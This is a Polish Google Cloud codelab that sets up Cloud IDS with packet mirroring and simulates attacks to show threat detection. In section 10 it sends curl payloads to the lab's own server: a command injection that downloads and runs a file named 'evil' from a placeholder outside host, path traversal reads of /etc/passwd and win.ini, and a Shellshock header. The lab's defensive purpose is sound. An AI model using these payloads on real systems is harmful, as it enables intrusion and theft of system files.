Cloud IDS

1. Wprowadzenie

W tym module wdrożysz Cloud IDS – zaawansowaną usługę wykrywania włamań, która wykrywa włamania, złośliwe oprogramowanie, programy szpiegowskie oraz ataki z użyciem sterowania i kontroli. Będziesz symulować wiele ataków i przeglądać szczegóły zagrożeń w konsoli Google Cloud.

Czego się nauczysz

  • Jak utworzyć punkt końcowy Cloud IDS
  • Jak utworzyć 2 maszyny wirtualne za pomocą poleceń gcloud
  • Jak utworzyć zasadę dublowania pakietów
  • Jak symulować atak z maszyny wirtualnej
  • Jak wyświetlić szczegóły zagrożeń w konsoli Cloud i Cloud Logging

Czego potrzebujesz

  • znajomości podstawowych poleceń w systemie Linux.

2. Przypadki użycia Cloud IDS

Cloud IDS udostępnia klientom usługę wykrywania włamań nowej generacji w Google Cloud, która umożliwia klientom spełnienie zaawansowanych wymagań związanych z wykrywaniem zagrożeń i zgodnością z przepisami, takich jak PCI 11.4. Usługa jest oparta na technologiach ochrony przed zagrożeniami Palo Alto Networks, które zapewniają zaawansowane wykrywanie włamań. Połączenie światowej klasy infrastruktury Google Cloud ze światowej klasy zabezpieczeniami Palo Alto Networks zapewnia klientom niezrównane połączenie w pełni zarządzanej, wysokiej wydajności i zaawansowanej usłudze wykrywania zagrożeń.

Podczas migracji do chmury klienci stawiają na bezpieczeństwo. Klient chce mieć dostęp do podobnych zabezpieczeń, które są stosowane w środowisku lokalnym, na przykład do wykrywania włamań (IDS) w chmurze. Zdecydowanie wolą korzystać z zarządzanego w chmurze rozwiązania IDS, które umożliwia łatwe wdrażanie, wysoką wydajność i optymalizację kosztów w porównaniu z wdrażaniem rozwiązania zabezpieczającego innej firmy i zarządzaniem infrastrukturą lub budowaniem własnych podpisów. Google Cloud IDS udostępnia kompleksową i automatycznie skalowaną zarządzaną usługę IDS, która umożliwia klientom poświęcenie czasu na analizowanie i eliminowanie zagrożeń oraz pozwala zaoszczędzić czas i zasoby związane z zarządzaniem podpisami infrastruktury lub zagrożeń.

Cloud IDS jest wdrażane poza zakresem i może wykrywać zagrożenia oraz wysyłać alerty na ich temat, ale nie mogą blokować zagrożeń. Wykorzystuje do tego mechanizm dublowania pakietów Google Cloud do tworzenia kopii ruchu sieciowego, który jest analizowany za pomocą mechanizmu wykrywania zagrożeń Palo Alto Network.

3. Topologia ćwiczeń z programowania

5a276f399e1d31e2.png

Rysunek 1. Ogólne omówienie architektury wdrożenia Cloud IDS w tym module.

4. Konfiguracja i wymagania

Samodzielne konfigurowanie środowiska

  1. Zaloguj się w konsoli Google Cloud i utwórz nowy projekt lub wykorzystaj już istniejący. Jeśli nie masz jeszcze konta Gmail ani Google Workspace, musisz je utworzyć.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Nazwa projektu jest wyświetlaną nazwą uczestników tego projektu. Jest to ciąg znaków, który nie jest używany przez interfejsy API Google i w każdej chwili możesz go zaktualizować.
  • Identyfikator projektu musi być unikalny we wszystkich projektach Google Cloud i nie można go zmienić (nie można go zmienić po ustawieniu). Cloud Console automatycznie wygeneruje unikalny ciąg znaków. zwykle nieważne, co ona jest. W większości ćwiczeń w Codelabs musisz odwoływać się do identyfikatora projektu (który zwykle nazywa się PROJECT_ID), więc jeśli Ci się nie podoba, wygeneruj kolejny losowy kod lub wypróbuj swój własny i sprawdź, czy jest dostępny. Potem urządzenie jest „zawieszone”. po utworzeniu projektu.
  • Występuje trzecia wartość – numer projektu – używany przez niektóre interfejsy API. Więcej informacji o wszystkich 3 wartościach znajdziesz w dokumentacji.
  1. Następnie musisz włączyć płatności w konsoli Cloud, aby móc korzystać z zasobów i interfejsów API Cloud. Ukończenie tego ćwiczenia z programowania nie powinno kosztować zbyt wiele. Aby wyłączyć zasoby, aby nie naliczać opłat po zakończeniu tego samouczka, wykonaj czynności „wyczyść” znajdziesz na końcu tego ćwiczenia. Nowi użytkownicy Google Cloud mogą skorzystać z programu bezpłatnego okresu próbnego o wartości 300 USD.

Uruchamianie Cloud Shell

Google Cloud można obsługiwać zdalnie z laptopa, ale w ramach tego ćwiczenia z programowania wykorzystasz Google Cloud Shell – środowisko wiersza poleceń działające w Cloud.

W konsoli GCP kliknij ikonę Cloud Shell na górnym pasku narzędzi:

bce75f34b2c53987.png

Uzyskanie dostępu do środowiska i połączenie się z nim powinno zająć tylko kilka chwil. Po zakończeniu powinno pojawić się coś takiego:

f6ef2b5f13479f3a.png

Ta maszyna wirtualna ma wszystkie potrzebne narzędzia dla programistów. Zawiera stały katalog domowy o pojemności 5 GB i działa w Google Cloud, znacząco zwiększając wydajność sieci i uwierzytelnianie. Wszystkie zadania w tym module możesz wykonać w przeglądarce.

5. Zanim zaczniesz

Włącz interfejsy API

Sprawdź w Cloud Shell, czy identyfikator projektu jest skonfigurowany

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Włącz wszystkie niezbędne usługi

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Utwórz sieć VPC

Sieć VPC

Z Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Podsieć

Z Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Prywatny dostęp do usług

Z Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Połączenie z usługą prywatną

Z Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Reguły zapory sieciowej

Aby umożliwić IAP nawiązywanie połączeń z maszynami wirtualnymi, utwórz regułę zapory sieciowej, która:

  • Dotyczy wszystkich instancji maszyn wirtualnych, które mają być dostępne za pomocą IAP.
  • Zezwala na ruch przychodzący z zakresu adresów IP 35.235.240.0/20. Ten zakres zawiera wszystkie adresy IP używane przez IAP do przekierowywania TCP.

Z Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Aby zezwolić na dostęp do serwera przez standardowy port HTTP (TCP 80) i protokół ICMP:

  • Ma zastosowanie do zasobów z tagiem sieci „server”
  • Zezwala na ruch przychodzący ze wszystkich źródeł

Z Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Utwórz instancję Cloud NAT

Cloud Router

Z Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Z Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Utwórz punkt końcowy Cloud IDS

W tej sekcji utworzysz punkt końcowy Cloud IDS w regionie us-east1 z poziomem ważności ustawionym na wartość informacyjną. Tworzenie punktu końcowego IDS trwa około 20 minut.

Punkt końcowy IDS

Z Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Sprawdzanie, czy punkt końcowy Cloud IDS został zainicjowany

gcloud ids endpoints list --project=$PROJECT_ID

Dane wyjściowe –

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Utwórz 2 maszyny wirtualne

W tej sekcji utworzysz 2 maszyny wirtualne. Pierwszą z nich będzie serwer WWW, który replikuje dane z Cloud IDS. Druga maszyna wirtualna będzie źródłem ruchu ataku.

Maszyna wirtualna 1 (serwer)

Z Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Maszyna wirtualna 2 (klient)

Z Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Przygotowywanie serwera

W tym zadaniu sprawdzisz poprawność serwera i dostarczysz klientowi niegroźny ładunek złośliwego oprogramowania.

Połącz się z maszyną wirtualną przez SSH przez Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Potwierdź, że usługa sieciowa jest uruchomiona

sudo systemctl status nginx

Dane wyjściowe – sprawdź, czy usługa jest aktywna i uruchomiona

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Zmień katalog na usługę sieciową

cd /var/www/html/

Utworzenie niegroźnego pliku złośliwego oprogramowania na serwerze WWW

sudo touch eicar.file

Wklej zawartość

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Wróć do CloudShell

exit

Tworzenie zasady dublowania pakietów w Cloud IDS

Zidentyfikuj regułę przekierowania punktu końcowego IDS i upewnij się, że stan punktu końcowego IDS to „READY”.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Przykładowe dane wyjściowe – skopiuj wartość z „endpointforwardRule”

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Zapisz regułę przekierowania punktu końcowego IDS w zmiennej.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Zasady dublowania pakietów

Z Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Sprawdź, czy została utworzona zasada dublowania pakietów

Z Cloud Shell

gcloud compute packet-mirrorings list

Wyniki

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Symuluj ruch związany z atakiem

Połącz się z maszyną wirtualną przeprowadzającą atak przez SSH (klient)

Z Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Uruchom następujące żądania curl, aby symulować szkodliwy ruch.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Wyjdź z maszyny wirtualnej, aby wrócić do CloudShell

exit

11. Sprawdzanie zagrożeń wykrytych przez Cloud IDS

Przejdź do panelu Cloud IDS

Menu nawigacyjne > Bezpieczeństwo sieciowe > Identyfikatory Cloud

37583419aa604aa8.png

Otwórz kartę Zagrożenia.

b7d934f409b4e2b.png

Jak widać, IDS w chmurze przechwytuje różne profile ruchu ataku i przekazuje szczegółowe informacje o każdym zagrożeniu. Być może trzeba będzie kliknąć przycisk „Odśwież”. jeśli nie widzisz żadnych zagrożeń. Omówimy teraz nieco bardziej szczegółowo i przejrzymy szczegóły zagrożeń.

Znajdź „lukę w zabezpieczeniach umożliwiającą wykonanie kodu zdalnego SSH” kliknij 3 kropki po prawej stronie i wybierz „Wyświetl szczegóły zagrożenia”

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Teraz wyświetlimy szczegóły tego incydentu w Cloud Logging. Wróć na stronę Zagrożenia, klikając strzałkę w lewo .

Kliknij 3 kropki po prawej stronie i wybierz „Wyświetl logi zagrożeń”

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Te same szczegóły są podawane w Cloud Logging. Pozwoli Ci to wysyłać logi do Cloud Storage, Chronicle lub dowolnego narzędzia SIEM/SOAR. Możesz też tworzyć niestandardowe przepływy pracy, aby podejmować działania naprawcze na podstawie alertów, np. przez utworzenie funkcji w Cloud Functions, która aktywuje się po otrzymaniu alertu i utworzy/zaktualizuje regułę zapory sieciowej, która zablokuje adres IP, albo utworzy/zaktualizuje zasadę Cloud Armor.

12. Procedura czyszczenia

Wyjdź z instancji maszyny wirtualnej (wszystkie karty)

exit

Usuń komponenty modułu z jednego terminala Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Gratulacje!

Gratulujemy ukończenia ćwiczeń z programowania.

Omówione zagadnienia

  • Przypadki użycia Cloud IDS
  • Wymagania związane z siecią
  • Obsługiwane interfejsy API
  • Utworzono punkt końcowy Cloud IDS
  • Wdrożono 2 maszyny wirtualne
  • Wygenerowano „atak” ruch generowany przez klienta
  • IDS wykryło zweryfikowane zagrożenia
  • Sprawdź szczegóły i logi zagrożeń